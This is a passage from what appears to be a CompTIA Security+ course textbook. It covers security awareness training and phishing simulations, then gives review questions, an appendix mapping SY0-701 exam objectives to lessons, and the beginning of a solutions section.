• Simulations—recreating system interfaces or using emulators so students can
practice configuration tasks.

• Branching scenarios—having students choose between options to find the best

choices to solve a cybersecurity incident or configuration problem.

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CBT might use video game elements to improve engagement. For example,
students might win badges and level-up bonuses such as skills or digitized loot to
improve their in-game avatar. Simulations might be presented so that the student
chooses encounters from a map and engages with a simulation environment in a
first person shooter type of 3D world.

Critical Elements for Security Awareness Training

Topic Description
Policy/Handbooks Policy and handbook training focus on
familiarizing users with the organization’s
policies, procedures, and guidelines regarding
data security, acceptable use of technology
resources, data handling, and confidentiality
and emphasize the importance of adhering
to these policies to maintain a secure work
environment.
Situational Awareness Situational awareness training enhances users’
ability to recognize and respond to potential
security threats or suspicious activities. It
emphasizes the importance of being vigilant,
observing surroundings, and promptly
reporting any unusual or problematic incidents
that may pose a security risk.
Insider Threat Insider threat training focuses on educating
users about the potential risks and signs of
insider threats within an organization. It helps
individuals recognize and report suspicious
behavior, understand the impact of insider
threats on data security, and promote a culture
of trust and accountability in handling sensitive
information.
Password Management Password management training guides
users on creating strong, unique passwords;
avoiding password reuse; and implementing
best practices for securing and safeguarding
passwords. It emphasizes the importance
of regularly updating passwords and using
multifactor authentication where available.
Removable Media and Cables Removable media and cable training educate
users on the risks associated with the
unauthorized use, loss, or theft of removable
media (such as USB mass storage devices)
and the potential for unauthorized access
or data breaches. It also guides users on
the risks associated with malicious charging
cables designed as an attack vector for gaining
unauthorized device access.

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Topic Description
Social Engineering Social engineering training raises awareness
about common social engineering tactics
employed by attackers, such as phishing,
pretexting, or baiting. It helps individuals
recognize and avoid falling victim to these
manipulative techniques, encouraging
skepticism and critical thinking when interacting
with unknown or suspicious requests.
Operational Security Operational security training focuses on
promoting good security practices in day-to-
day operations. It covers physical security,
workstation security, data classification, secure
communications, and incident reporting to
help users understand their role in preventing
security incidents.
Hybrid/Remote Work Hybrid/remote work training addresses
Environments the unique security challenges associated
with working from home or outside the
traditional office environment. It covers
topics such as secure remote access, secure
Wi-Fi usage, protecting physical workspaces,
and maintaining data security while working
remotely.

Training employees about safe computer use is critical to protecting data and mitigating
the risks associated with cyberattacks. (Image by rawpixel © 123RF.com.)

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Phishing Campaigns
Phishing campaigns used as employee training mechanisms involve simulated
attacks to raise awareness and educate employees about the risks and
consequences of falling victim to such attacks. By conducting mock phishing
exercises, organizations aim to enhance threat awareness, protect sensitive
information, mitigate social engineering risks, promote incident response, and
strengthen security practices. Phishing attacks are prevalent and pose significant
risks to many industries, making it essential for employees to know how to defend
against them. Phishing is an effective attack vector due to its exploitation of
human vulnerabilities, deceptive impersonation of trusted entities, psychological
manipulation, broad reach, ease of use, dynamic capabilities, adaptability, and
the potential for significant financial gain. These factors make phishing attacks
difficult to detect, mitigate and underscore the importance of practicing vigilance
and regularly training employees to recognize and respond effectively to phishing
attempts.
Through training, employees become more aware of common phishing techniques
and deceptive tactics used by cybercriminals. This knowledge helps them to
identify and report suspicious emails or messages, reducing the likelihood of data
breaches and unauthorized access to sensitive information. By training employees
to recognize phishing attempts, organizations mitigate social engineering risks.
Employees learn to identify messages that use common tactics such as urgent
requests, spoofed identities, and enticing offers to manipulate individuals. This
knowledge helps protect employees and their organization from disclosing
credentials or confidential data, or installing malware. Effective training enables
employees to respond appropriately to phishing attempts, such as reporting
incidents to specific IT or security teams, refraining from clicking suspicious links
or opening attachments, and verifying requests sent via email using alternative
channels. Training employees to recognize and respond to phishing attempts
strengthens an organization’s cybersecurity defenses. It cultivates a culture of
security awareness, empowers employees to protect sensitive information actively,
and enhances the organization’s resilience against evolving threats. Complemented
by simulated phishing campaigns, regular training programs help build a
knowledgeable and security-conscious workforce.

Anomalous Behavior
Anomalous behavior recognition refers to actions or patterns that deviate
significantly from expectations. Examples include unusual network traffic, user
account activity anomalies, insider threat actions, abnormal system events, and
fraudulent transactions. Techniques such as network intrusion detection, user
behavior analytics, system log analysis, and fraud detection are utilized to identify
anomalous behavior. These techniques require monitoring and analyzing different
data sources, comparing observed behavior against established baselines, and
utilizing machine learning algorithms to detect deviations.

Recognizing Risky Behaviors

Risky behaviors are actions or practices that threaten data security, systems, or
networks. These behaviors may involve unsafe online activities, such as clicking
on suspicious links, visiting untrusted websites, or downloading unauthorized
software. Risky behaviors can also include neglecting security measures, such
as using weak passwords, sharing credentials, or ignoring software updates.
Unexpected behaviors are actions that deviate from established security protocols
or violate security policies. These behaviors can occur due to a lack of awareness,
carelessness, or a failure to follow established procedures. Examples include
unauthorized access to sensitive information, bypassing security controls, or

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disregarding physical security measures. Unintentional behaviors refer to actions

without malicious intent but can still have detrimental consequences. These
behaviors often stem from human error, lack of training, or lack of understanding
of security best practices. Examples include accidental data breaches, mishandling
of confidential information, or falling victim to social engineering attacks.
All three types of behaviors (risky, unexpected, and unintentional) can lead to
security incidents, data breaches, or the compromise of sensitive information.
Individuals must be aware of these behaviors, follow security guidelines, stay
informed about emerging threats, and practice good cybersecurity hygiene.
Organizations are responsible for training and educating employees about these
behaviors to promote a security-conscious culture and minimize the impact of
human-related vulnerabilities in the cybersecurity landscape.

Security Awareness Training Lifecycle

Security awareness training practices typically follow a lifecycle approach consisting
of several stages.

Security Awareness Training Lifecycle.

The first phase is assessing the organization’s security needs and risks. Planning
and designing awareness training activities follow, where a comprehensive plan
is developed, including objectives, topics, and delivery methods. Once a plan is
created, the development stage focuses on creating engaging and informative
training materials. Training is then delivered through previously identified delivery
methods, such as in-person or computer-based sessions. Evaluation and feedback
activities assess the training’s effectiveness and gather participant insights.
Security awareness is reinforced via reoccurring training activities to ensure it
remains a priority and often includes refresher training, reminders, newsletters,
and awareness campaigns. Monitoring and adaptation allow organizations to
continually evaluate the program’s impact and make necessary adjustments
based on emerging risks and changing requirements. Organizations can establish
a continuous and effective security awareness training program by following this
lifecycle. It helps enhance employee knowledge, steer behaviors, and cultivate

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a security culture within the organization. Regular assessment, evaluation, and

adaptation ensure that training remains relevant and addresses evolving security
threats. A well-structured security awareness training program significantly
contributes to mitigating risks, protecting sensitive data, and building a resilient
cybersecurity posture.

Development and Execution of Training

Successfully executing security training means effectively providing education
and instruction to employees and staff that enhance their knowledge, skills, and
awareness of security practices. It involves delivering training programs addressing
relevant security topics, like data protection, incident response, phishing awareness,
secure coding practices, physical security, and many others. Content development
focuses on creating engaging and informative training materials, using clear
language, and incorporating real-world examples to enhance relevance and
mix interactive elements like quizzes, case studies, or simulations to encourage
active participation, critical thinking, and practical application of knowledge.
Facilitating dialogue, discussion, and question-and-answer sessions further
enhance the learning experience. To assess the effectiveness of security awareness
practices, collecting feedback, conducting assessments, and developing relevant
measurements and metrics help gauge the impact of the training and identify areas
for improvement. Regular reviews and updates to training materials ensure that its
content remains relevant and aligned with evolving security threats. Incorporating
emerging best practices and industry trends help organizations stay current and
enhance their security awareness practices.

Reporting and Monitoring

One way to gauge the efficacy of security awareness training is to assess its
influence initially and through ongoing evaluations.
Initial effectiveness refers to the immediate impact of security awareness training
on participants. It measures the knowledge gained, awareness raised, and
behavioral changes observed immediately after completing a training program.
Evaluation methods can include pre-and post-training assessments, quizzes,
and surveys designed to gauge participant understanding of security concepts
before and after training. Measuring initial effectiveness provides insight into the
immediate impact of training and how participants have absorbed the information
and concepts presented.
Recurring effectiveness assesses the long-term impact and sustainability of security
awareness training by examining whether participants have retained and applied
the knowledge and skills gained from training in their day-to-day activities. The
focus is to measure the continued behavioral changes and the level of security
consciousness within the organization over an extended period.
Initial and recurring effectiveness measurements are crucial to gauge the overall
impact of security awareness training. While measuring initial effectiveness
shows the immediate outcomes and knowledge uptake, recurring effectiveness
measurements ensure that the training has a lasting effect and leads to sustained
improvements in security practices.
Assessments and Quizzes—Conducting pre- and post-training assessments and
quizzes allow organizations to measure the knowledge gained by employees during
training. These reports provide quantitative data regarding training effectiveness
related to knowledge retention and comprehension.
Incident Reporting—Organizations can track and analyze incident reports
to assess the training program’s impact on incident detection and response,
identifying any patterns or trends.

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Phishing Simulations—Conducting simulated phishing campaigns helps

organizations evaluate employees’ ability to recognize and respond to phishing
attempts. Reports generated from these simulations provide data on click rates,
successful phish captures, and trends in susceptibility, indicating the effectiveness
of the training in mitigating phishing risks.
Observations and Feedback—Managers and supervisors can provide feedback
on employees’ security practices and behaviors. Qualitative information such as
this provides valuable insights into the practical application of training and any
challenges employees face in implementing the knowledge gained.
Metrics and Performance Indicators—Tracking relevant metrics, such as the
number of reported incidents, employee compliance with security policies, or
changes in password hygiene, provides quantitative data on the impact of security
awareness training. These metrics help measure the effectiveness of the training
program over time.
Training Completion Rates—Monitoring the completion rates of security
awareness training modules or sessions indicates employee engagement and
adherence to training requirements. Higher completion rates suggest better
participation and performance of the training content.

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Review Activity:
Importance of Personnel Policies
9

Answer the following questions:

1. Your company has been the victim of several successful phishing

attempts over the past year. Attackers managed to steal credentials
from these attacks and use them to compromise key systems. What
vulnerability contributed to the success of these social engineers, and
why?

2. Why should an organization design role-based training programs?

2.

3. You are planning a security awareness program for a manufacturer. Is a

3.

pamphlet likely to be sufficient in terms of resources?

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Lesson 16
Summary
4

You should be able to explain the importance of data governance policies and tools
to mitigate the risk of data breaches and privacy breaches and implement security
solutions for data protection.

Guidelines for Data Privacy and Protection

Follow these guidelines for creating or improving data governance policies and
controls:
• Ensure that confidential and personal data is classified and managed using an
information lifecycle model.

• Assign roles to ensure the proper management of data within its lifecycle.

• Develop classifications for confidential and personal information, based on

standard descriptors such as public, private, sensitive, confidential, critical,
proprietary, PII, health information, financial information, and customer data.

• Use a content management system that enables classification tagging of files

and records.

• Use encryption products to ensure data protection at rest, in transit, and in

processing.

• Use training and education programs to help employees to recognize attacks

and suspicious behavior.

• Use policies and procedures that hinder social engineers from eliciting
information or obtaining unauthorized access.

• Use training and education programs to help employees mainintain the safety
and security of the organization’s data assets.

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 Appendix A
Mapping Course Content to
CompTIA Security+
1

Achieving CompTIA Security+ certification requires candidates to pass Exam

SY0-701. This table describes where the exam objectives for Exam SY0-701 are
covered in this course.

1.0 General Security Concepts

1.1 Compare and contrast various types
of security controls. Covered in
Categories Lesson 1, Topic B
Technical
Managerial
Operational
Physical
Control types Lesson 1, Topic B
Preventive
Deterrent
Detective
Corrective
Compensating
Directive

1.2 Summarize fundamental security concepts. Covered in

Confidentiality, Integrity, and Availability (CIA) Lesson 1, Topic A
Non-repudiation Lesson 1, Topic A
Authentication, Authorization, and Accounting Lesson 1, Topic A
Authenticating people
Authenticating systems
Authorization models

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1.2 Summarize fundamental security concepts. Covered in

Gap analysis Lesson 1, Topic A
Zero Trust Lesson 6, Topic B
Control Plane
Adaptive identity
Threat scope reduction
Policy-driven access control
Policy Administrator
Policy Engine
Data Plane
Implicit trust zones
Subject/System
Policy Enforcement Point
Physical security Lesson 7, Topic C
Bollards
Access control vestibule
Fencing
Video surveillance
Security guard
Access badge
Lighting
Sensors
Infrared
Pressure
Microwave
Ultrasonic
Deception and disruption technology Lesson 7, Topic B
Honeypot
Honeynet
Honeyfile
Honeytoken

1.3 Explain the importance of change management

processes and the impact to security. Covered in
Business processes impacting security operation Lesson 14, Topic B
Approval process
Ownership
Stakeholders
Impact analysis
Test results
Backout plan
Maintenance window
Standard operating procedure

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1.3 Explain the importance of change management

processes and the impact to security. Covered in
Technical implications Lesson 14, Topic B
Allow lists/deny lists
Restricted activities
Downtime
Service restart
Application restart
Legacy applications
Dependencies
Documentation Lesson 14, Topic B
Updating diagrams
Updating policies/procedures
Version control Lesson 14, Topic B

1.4 Explain the importance of using appropriate

cryptographic solutions. Covered in
Public key infrastructure (PKI) Lesson 3, Topic B
Public key
Private key
Key escrow
Encryption Lesson 3, Topic C
Level
Full-disk
Partition
File
Volume
Database
Record
Transport/communication
Asymmetric Lesson 3, Topic A
Symmetric
Key exchange Lesson 3, Topic C
Algorithms Lesson 3, Topic A
Key length
Tools Lesson 3, Topic B
Trusted Platform Module (TPM)
Hardware security module (HSM)
Key management system
Secure enclave
Obfuscation Lesson 3, Topic C
Steganography
Tokenization
Data masking

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1.4 Explain the importance of using appropriate

cryptographic solutions. Covered in
Hashing Lesson 3, Topic A
Salting Lesson 3, Topic C
Digital signatures Lesson 3, Topic A
Key stretching Lesson 3, Topic C
Blockchain Lesson 3, Topic C
Open public ledger Lesson 3, Topic C
Certificates Lesson 3, Topic B
Certificate authorities
Certificate revocation lists (CRLs)
Online Certificate Status Protocol (OCSP)
Self-signed
Third-party
Root of trust
Certificate signing request (CSR) generation
Wildcard

2.0 Threats, Vulnerabilities, and Mitigations

2.1 Compare and contrast common threat
actors and motivations. Covered in
Threat actors Lesson 2, Topic A
Nation-state
Unskilled attacker
Hacktivist
Insider threat
Organized crime
Shadow IT
Attributes of actors Lesson 2, Topic A
Internal/external
Resources/funding
Level of sophistication/capability
Motivations Lesson 2, Topic A
Data exfiltration
Espionage
Service disruption
Blackmail
Financial gain
Philosophical/political beliefs
Ethical
Revenge
Disruption chaos
War

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2.2 Explain common threat vectors and

attack surfaces. Covered in
Message-based Lesson 2, Topic B
Email
Short Message Service (SMS)
Instant messaging (IM)
Image-based Lesson 2, Topic B
File-based Lesson 2, Topic B
Voice call Lesson 2, Topic B
Removable device Lesson 2, Topic B
Vulnerable software Lesson 2, Topic B
Client-based vs. agentless
Unsupported systems and applications Lesson 2, Topic B
Unsecure networks Lesson 2, Topic B
Wireless
Wired
Bluetooth
Open service ports Lesson 2, Topic B
Default credentials Lesson 2, Topic B
Supply chain Lesson 2, Topic B
Managed service providers (MSPs)
Vendors
Suppliers
Human vectors/social engineering Lesson 2, Topic C
Phishing
Vishing
Smishing
Misinformation/disinformation
Impersonation
Business email compromise
Pretexting
Watering hole
Brand impersonation
Typosquatting

2.3 Explain various types of vulnerabilities Covered in

Application Lesson 8, Topic B
Memory injection
Buffer overflow
Race conditions
Time-of-check (TOC)
Time-of-use (TOU)
Malicious update

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2.3 Explain various types of vulnerabilities Covered in

Operating system (OS)-based Lesson 8, Topic A
Web-based Lesson 8, Topic B
Structured Query Language injection (SQLi)
Cross-site scripting (XSS)
Hardware Lesson 8, Topic A
Firmware
End-of-life
Legacy
Virtualization Lesson 8, Topic A
Virtual machine (VM) escape
Resource reuse
Cloud-specific Lesson 8, Topic B
Supply chain Lesson 8, Topic B
Service provider
Hardware provider
Software provider
Cryptographic Lesson 8, Topic A
Misconfiguration Lesson 8, Topic A
Mobile device Lesson 8, Topic A
Side loading
Jailbreaking
Zero-day Lesson 8, Topic A

2.4 Given a scenario, analyze indicators of

malicious activity. Covered in
Malware attacks Lesson 13, Topic A
Ransomware
Trojan
Worm
Spyware
Bloatware
Virus
Keylogger
Logic bomb
Rootkit
Physical attacks Lesson 13, Topic B
Brute force
Radio frequency identification (RFID) cloning
Environmental

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2.4 Given a scenario, analyze indicators of

malicious activity. Covered in
Network attacks Lesson 13, Topic B
Distributed denial-of-service (DDoS)
Amplified
Reflected
Domain Name System (DNS) attacks
Wireless
On-path
Credential replay
Malicious code
Application attacks Lesson 13, Topic C
Injection
Buffer overflow
Replay
Priviege escalation
Forgery
Directory traversal
Cryptographic attacks Lesson 13, Topic B
Downgrade
Collision
Birthday
Password attacks Lesson 13, Topic B
Spraying
Brute force
Indicators Lesson 13, Topic A
Account lockout
Concurrent session usage
Blocked content
Impossible travel
Resource consumption
Resource inaccessibility
Out-of-cycle logging
Published/documented
Missing logs

2.5 Explain the purpose of mitigation techniques

used to secure the enterprise. Covered in
Segmentation Lesson 10, Topic A
Access control Lesson 10, Topic A
Access control list (ACL)
Permissions
Application allow list Lesson 10, Topic A
Isolation Lesson 10, Topic A
Patching Lesson 10, Topic A

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2.5 Explain the purpose of mitigation techniques

used to secure the enterprise. Covered in
Encryption Lesson 10, Topic A
Monitoring Lesson 10, Topic A
Least privilege Lesson 10, Topic A
Configuration enforcement Lesson 10, Topic A
Decommissioning Lesson 10, Topic A
Hardening techniques Lesson 10, Topic A
Encryption
Installation of endpoint protection
Host-based firewall
Host-based intrusion prevention system (HIPS)
Disabling ports/protocols
Default password changes
Removal of unnecessary software

3.0 Security Architecture

3.1 C
 ompare and contrast security implications
of different architecture models. Covered in
Architecture and infrastructure concepts Lesson 5, Topic A
Cloud Lesson 6, Topic A
Responsibility matrix
Hybrid considerations
Third-party vendors
Infrastructure as code (IaC)
Serverless
Microservices
Network infrastructure
Physical isolation Lesson 5, Topic A
Air-gapped
Logical segmentation
Software-defined networking (SDN) Lesson 6, Topic A
On-premises Lesson 5, Topic A
Centralized vs. decentralized Lesson 6, Topic A
Containerization
Virtualization
IoT Lesson 6, Topic B
Industrial control systems (ICS)/supervisory control and
data acquisition (SCADA)
Real-time operating system (RTOS)
Embedded systems
High availability Lesson 6, Topic A

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3.1 Compare and contrast security implications

of different architecture models. Covered in
Considerations Lesson 6, Topic A
Availability
Resilience
Cost
Responsiveness
Scalability
Ease of deployment
Risk transference Lesson 5, Topic A
Ease of recovery Lesson 6, Topic A
Patch availability
Inability to patch
Power
Compute

3.2 Given a scenario, apply security principles

to secure enterprise infrastructure. Covered in
Infrastructure considerations Lesson 5, Topic A
Device placement Lesson 5, Topic B
Lesson 5, Topic A
Security zones
Attack surface
Connectivity
Failure modes Lesson 5, Topic B
Fail-open
Fail-closed
Device attribute
Active vs. passive
Inline vs. tap/monitor
Network appliances Lesson 5, Topic A
Jump server Lesson 5, Topic C
Proxy server Lesson 5, Topic B
Intrusion prevention system (IPS)/intrusion
detection system (IDS)
Load balancer
Sensors
Port security Lesson 5, Topic A
802.1X
Extensible Authentication Protocol (EAP)
Firewall types Lesson 5, Topic B
Web application firewall (WAF)
Unified threat management (UTM)
Next-generation firewall (NGFW)
Layer 4/Layer 7

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3.2 Given a scenario, apply security principles

to secure enterprise infrastructure. Covered in
Secure communication/access Lesson 5, Topic C
Virtual private network (VPN)
Remote access
Tunneling
Transport Layer Security (TLS)
Internet protocol security (IPSec)
Software-defined wide area network (SD-WAN) Lesson 6, Topic A
Secure access service edge (SASE)
Selection of effective controls Lesson 5, Topic B

3.3 Compare and contrast concepts and strategies

to protect data. Covered in
Data types Lesson 16, Topic A
Regulated
Trade secret
Intellectual property
Legal information
Financial information
Human- and non-human-readable
Data classifications Lesson 16, Topic A
Sensitive
Confidential
Public
Restricted
Private
Critical
General data considerations Lesson 16, Topic A
Data states
Data at rest
Data in transit
Data in use
Data sovereignty
Geolocation
Methods to secure data Lesson 16, Topic A
Geographic restrictions
Encryption
Hashing
Masking
Tokenization
Obfuscation
Segmentation
Permission restrictions

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3.4 Explain the importance of resilience and

recovery in security architecture. Covered in
High availability Lesson 7, Topic B
Load balancing vs. clustering
Site considerations Lesson 7, Topic B
Hot
Cold
Warm
Geographic dispersion
Platform diversity Lesson 7, Topic B
Multi-cloud systems Lesson 7, Topic B
Continuity of operations Lesson 7, Topic B
Capacity planning Lesson 7, Topic B
People
Technology
Infrastructure
Testing Lesson 7, Topic B
Tabletop exercises
Fail over
Simulation
Parallel processing
Backups Lesson 7, Topic B
Onsite/offsite Lesson 7, Topic A
Frequency
Encryption
Snapshots
Recovery
Replication
Journaling
Power Lesson 7, Topic B
Generators
Uninterruptible power supply (UPS)

4.0 Security Operations

4.1 Given a scenario, apply common security
techniques to computing resources. Covered in
Secure baselines Lesson 9, Topic A
Establish
Deploy
Maintain

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4.1 Given a scenario, apply common security

techniques to computing resources. Covered in
Hardening targets Lesson 9, Topic A
Mobile devices Lesson 10, Topic A
Workstations
Switches Lesson 9, Topic A
Routers
Cloud infrastructure Lesson 11, Topic B
Servers
ICS/SCADA Lesson 10, Topic A
Embedded systems
RTOS
IoT devices
Wireless devices Lesson 9, Topic A
Installation considerations
Site surveys
Heat maps
Mobile solutions Lesson 10, Topic B
Mobile device management (MDM)
Deployment models
Bring your own device (BYOD)
Corporate-owned, personally enabled (COPE)
Choose your own device (CYOD)
Connection methods
Cellular
Wi-Fi
Bluetooth
Wireless security settings Lesson 9, Topic A
Wi-Fi Protected Access 3 (WPA3)
AAA/Remote Authentication Dial-In User Service (RADIUS)
Cryptographic protocols
Authentication protocols
Application security Lesson 11, Topic B
Input validation
Secure cookies
Static code analysis
Code signing
Sandboxing Lesson 11, Topic B
Monitoring Lesson 11, Topic B

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4.2 Explain the security implications of proper hardware,

software, and data asset management. Covered inw
Acquisition/procurement process Lesson 7, Topic A
Assignment/accounting Lesson 7, Topic A
Ownership
Classification
Monitoring/asset tracking Lesson 7, Topic A
Inventory
Enumeration
Disposal/decommissioning Lesson 7, Topic A
Sanitization
Destruction
Certification
Data retention

4.3 Explain various activities associated with

vulnerability management. Covered in
Identification methods Lesson 8, Topic C
Vulnerability scan
Application security
Static analysis
Dynamic analysis
Package monitoring
Threat feed
Open-source intelligence (OSINT)
Proprietary/third-party
Information-sharing organization
Dark web
Penetration testing
Responsible disclosure program
Bug bounty program
System/process audit
Analysis Lesson 8, Topic D
Confirmation
False positive
False negative
Prioritize
Common Vulnerability Scoring System (CVSS)
Common Vulnerability Enumeration (CVE)
Vulnerability classification
Exposure factor
Environmental variables
Industry/organizational impact
Risk tolerance

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4.3 Explain various activities associated with

vulnerability management. Covered in
Vulnerability response and remediation Lesson 8, Topic D
Patching
Insurance
Segmentation
Compensating controls
Exceptions and exemptions
Validation of remediation Lesson 8, Topic D
Rescanning
Audit
Verification
Reporting Lesson 8, Topic D

4.4 Explain security alerting and monitoring

concepts and tools. Covered in
Monitoring computing resources Lesson 12, Topic D
Systems
Applications
Infrastructure
Activities Lesson 12, Topic D
Log aggregation
Alerting
Scanning
Reporting
Archiving
Alert response and remediation/validation
Quarantine
Alert tuning
Tools Lesson 12, Topic D
Security Content Automation Protocol (SCAP)
Benchmarks
Agents/agentless
Security information and event management (SIEM)
Antivirus
Data loss prevention (DLP)
Simple Network Management Protocol (SNMP) traps
NetFlow
Vulnerability scanners

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4.5 Given a scenario, modify enterprise capabilities

to enhance security. Covered in
Firewall Lesson 9, Topic B
Rules
Access lists
Ports/protocols
Screened subnets
IDS/IPS Lesson 9, Topic B
Trends
Signatures
Web filter Lesson 9, Topic B
Agent-based
Centralized proxy
Universal Resource Locator (URL) scanning
Content categorization
Block rules
Reputation
Operating system security Lesson 10, Topic A
Group Policy
SELinux
Implementation of secure protocols Lesson 11, Topic A
Protocol selection
Port selection
Transport method
DNS filtering Lesson 11, Topic A
Email security Lesson 11, Topic A
Domain-based Message Authentication Reporting
and Conformance (DMARC)
DomainKeys Identified Mail (DKIM)
Sender Policy Framework (SPF)
Gateway
File integrity monitoring Lesson 10, Topic A
DLP Lesson 11, Topic A
Network access control (NAC) Lesson 9, Topic A
Endpoint detection and response (EDR)/extended Lesson 10, Topic A
detection and response (XDR)
User behavior analytics Lesson 10, Topic A

4.6 Given a scenario, implement and maintain

identity and access management. Covered in
Provisioning/de-provisioning user accounts Lesson 4, Topic B
Permission assignments and implications Lesson 4, Topic B
Identity proofing Lesson 4, Topic B
Federation Lesson 4, Topic C

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 A-16 | Appendix A

4.6 Given a scenario, implement and maintain

identity and access management. Covered in
Single sign-on (SSO) Lesson 4, Topic C
Lightweight Directory Access Protocol (LDAP)
Open authorization (OAuth)
Security Assertions Markup Language (SAML)
Interoperability Lesson 4, Topic C
Attestation Lesson 4, Topic A
Access controls Lesson 4, Topic B
Mandatory
Discretionary
Role-based
Rule-based
Attribute-based
Time-of-day restrictions
Least privilege
Multifactor authentication Lesson 4, Topic A
Implementations
Biometrics
Hard/soft authentication tokens
Security keys
Factors
Something you know
Something you have
Something you are
Somewhere you are
Password concepts Lesson 4, Topic A
Password best practices
Length
Complexity
Reuse
Expiration
Age
Password managers
Passwordless
Privileged access management tools Lesson 4, Topic B
Just-in-time permissions
Password vaulting
Ephemeral credentials

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4.7 Explain the importance of automation and

orchestration related to secure operations. Covered in
Use cases of automation and scripting Lesson 14, Topic C
User provisioning
Resource provisioning
Guard rails
Security groups
Ticket creation
Escalation
Enabling/disabling services and access
Continous integration and testing
Integrations and Application programming
interfaces (APIs)
Benefits Lesson 14, Topic C
Efficiency/time saving
Enforcing baselines
Standard infrastructure configurations
Scaling in a secure manner
Employee retention
Reaction time
Workforce multiplier
Other considerations Lesson 14, Topic C
Complexity
Cost
Single point of failure
Technical debt
Ongoing supportability

4.8 Explain appropriate incident response activities. Covered in

Process Lesson 12, Topic A
Preparation
Detection
Analysis
Containment
Eradication
Recovery
Lessons learned
Training Lesson 12, Topic A
Testing Lesson 12, Topic A
Tabletop exercise
Simulation
Root cause anlaysis Lesson 12, Topic A
Threat hunting Lesson 12, Topic A

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4.8 Explain appropriate incident response activities. Covered in

Digital forensics Lesson 12, Topic B
Legal hold
Chain of custody
Acquisition
Reporting
Preservaction
E-discovery

4.9 Given a scenario, use data sources to support

an investigation. Covered in
Log data Lesson 12, Topic C
Firewall logs
Application logs
Endpoint logs
OS-specific security logs
IPS/IDS logs
Network logs
Metadata
Data sources Lesson 12, Topic C
Vulnerability scans
Automated reports
Dashboards
Packet captures

5.0 Security Program Management and Oversight

5.1 Summarize elements of effective security
governance. Covered in
Guidelines Lesson 14, Topic A
Policies Lesson 14, Topic A
Acceptable use policy (AUP)
Information security policies
Business continuity
Disaster recovery
Incident response
Software development lifecycle (SDLC)
Change management
Standards Lesson 14, Topic A
Password
Access control
Physical security
Encryption

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5.1 Summarize elements of effective security

governance. Covered in
Procedures Lesson 14, Topic A
Change management
Onboarding/offboarding
Playbooks
External considerations Lesson 14, Topic A
Regulatory
Legal
Industry
Local/regional
National
Global
Monitoring and revision Lesson 14, Topic A
Types of governance structures Lesson 14, Topic A
Boards
Committees
Government entities
Centralized/decentralized
Roles and responsibilities for systems and data Lesson 14, Topic A
Owners
Controllers
Processors
Custodians/stewards

5.2 Explain elements of the risk management process. Covered in

Risk identification Lesson 15, Topic A
Risk assessment Lesson 15, Topic A
Ad hoc
Recurring
One-time
Continuous
Risk analysis Lesson 15, Topic A
Qualitative
Quantitative
Single loss expectancy (SLE)
Annualized loss expectancy (ALE)
Annualized rate of occurrence (ARO)
Probability
Likelihood
Exposure factor
Impact
Risk register Lesson 15, Topic A
Key risk indicators
Risk owners
Risk threshold
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5.2 Explain elements of the risk management process. Covered in

Risk tolerance Lesson 15, Topic A
Risk appetite Lesson 15, Topic A
Expansionary
Conservative
Neutral
Risk management strategies Lesson 15, Topic A
Transfer
Accept
Exemption
Exception
Avoid
Mitigate
Risk reporting Lesson 15, Topic A
Business impact analysis Lesson 15, Topic A
Recovery time objective (RTO)
Recovery point objective (RPO)
Mean time to repair (MTTR)
Mean time between failures (MTBF)

5.3 Explain the processes associated with third-party

risk assessment and management. Covered in
Vendor assessment Lesson 15, Topic B
Penetration testing
Right-to-audit clause
Evidence of internal audits
Independent assessments
Supply chain analysis
Vendor selection Lesson 15, Topic B
Due diligence
Conflict of interest
Agreement types Lesson 15, Topic B
Service-level agreement (SLA)
Memorandum of agreement (MOA)
Memorandum of understanding (MOU)
Master service agreement (MSA)
Work order (WO)/statement of work (SOW)
Non-disclosure agreement (NDA)
Business partners agreement (BPA)
Vendor monitoring Lesson 15, Topic B
Questionnaires Lesson 15, Topic B
Rules of engagement Lesson 15, Topic B

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5.4 Summarize elements of effective security

compliance. Covered in
Compliance reporting Lesson 16, Topic A
Internal
External
Consequences of non-compliance Lesson 16, Topic A
Fines
Sanctions
Reputational damage
Loss of license
Contractual impacts
Compliance monitoring Lesson 16, Topic A
Due diligence/care
Attestation and acknowledgement
Internal and external
Automation
Privacy Lesson 16, Topic A
Legal implications
Local/regional
National
Global
Data subject
Controller vs. processor
Ownership
Data inventory and retention
Right to be forgotten

5.5 Explain types and purposes of audits and

assessments. Covered in
Attestation Lesson 15, Topic C
Internal Lesson 15, Topic C
Compliance
Audit committee
Self-assessments
External Lesson 15, Topic C
Regulatory
Examinations
Assessment
Independent third-party audit

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5.5 Explain types and purposes of audits and

assessments. Covered in
Penetration testing Lesson 15, Topic C
Physical
Offensive
Defensive
Integrated
Known environment
Partially known environment
Unknown environment
Reconnaissance
Passive
Active

5.6 Given a scenario, implement security

awareness practices. Covered in
Phishing Lesson 16, Topic B
Campaigns
Recognizing a phishing attempt
Responding to reported suspicious messages
Anomalous behavior recognition Lesson 16, Topic B
Risky
Unexpected
Unintentional
User guidance and training Lesson 16, Topic B
Policy/handbooks
Situational awareness
Insider threat
Password management
Removable media and cables
Social engineering
Operational security
Hybrid/remote work environments
Reporting and monitoring Lesson 16, Topic B
Initial
Recurring
Development Lesson 16, Topic B
Execution Lesson 16, Topic B

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 Solutions
1
Review Activity: Security Concepts
2

1. What are the properties of a secure information processing system?

Confidentiality, integrity, and availability (and non-repudiation)

2. What term is used to describe the property of a secure network where a sender cannot deny
2.

having sent a message?

Non-repudiation

3. A company provides a statement of deviations from framework best practices to a regulator.

What process has the company performed?

Gap analysis

4. What process within an access control framework logs actions performed by subjects?

Accounting

5. What is the difference between authorization and authentication?

Authorization means granting the account that has been configured for the user on the computer system
the right to make use of a resource. Authorization manages the privileges granted on the resource.
Authentication protects the validity of the user account by testing that the person accessing that account is
who they say they are.

6. How does accounting provide non-repudiation?

A user’s actions are logged on the system. Each user is associated with a unique computer account. As
long as the user’s authentication is secure and the logging system is tamperproof, they cannot deny having
performed the action.

Review Activity: Security Controls

1. You have implemented a secure web gateway that blocks access to a social networking site.
How would you categorize this type of security control?

It is a technical type of control (implemented in software) and acts as a preventive measure.

2. A company has installed motion-activated floodlighting on the grounds around its premises.
2.

What class and function is this security control?

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3. A firewall appliance intercepts a packet that violates policy. It automatically updates its access
3.

control list to block all further packets from the source IP. What TWO functions did the security
control perform?

Preventive and corrective

4. If a security control is described as operational and compensating, what can you determine
4.

about its nature and function?

The control is enforced by a person rather than a technical system, and the control has been developed to
replicate the functionality of a primary control, as required by a security standard.

5. A multinational company manages a large amount of valuable intellectual property (IP) data,
5.

plus personal data for its customers and account holders. What type of business unit can be
used to manage such important and complex security requirements?

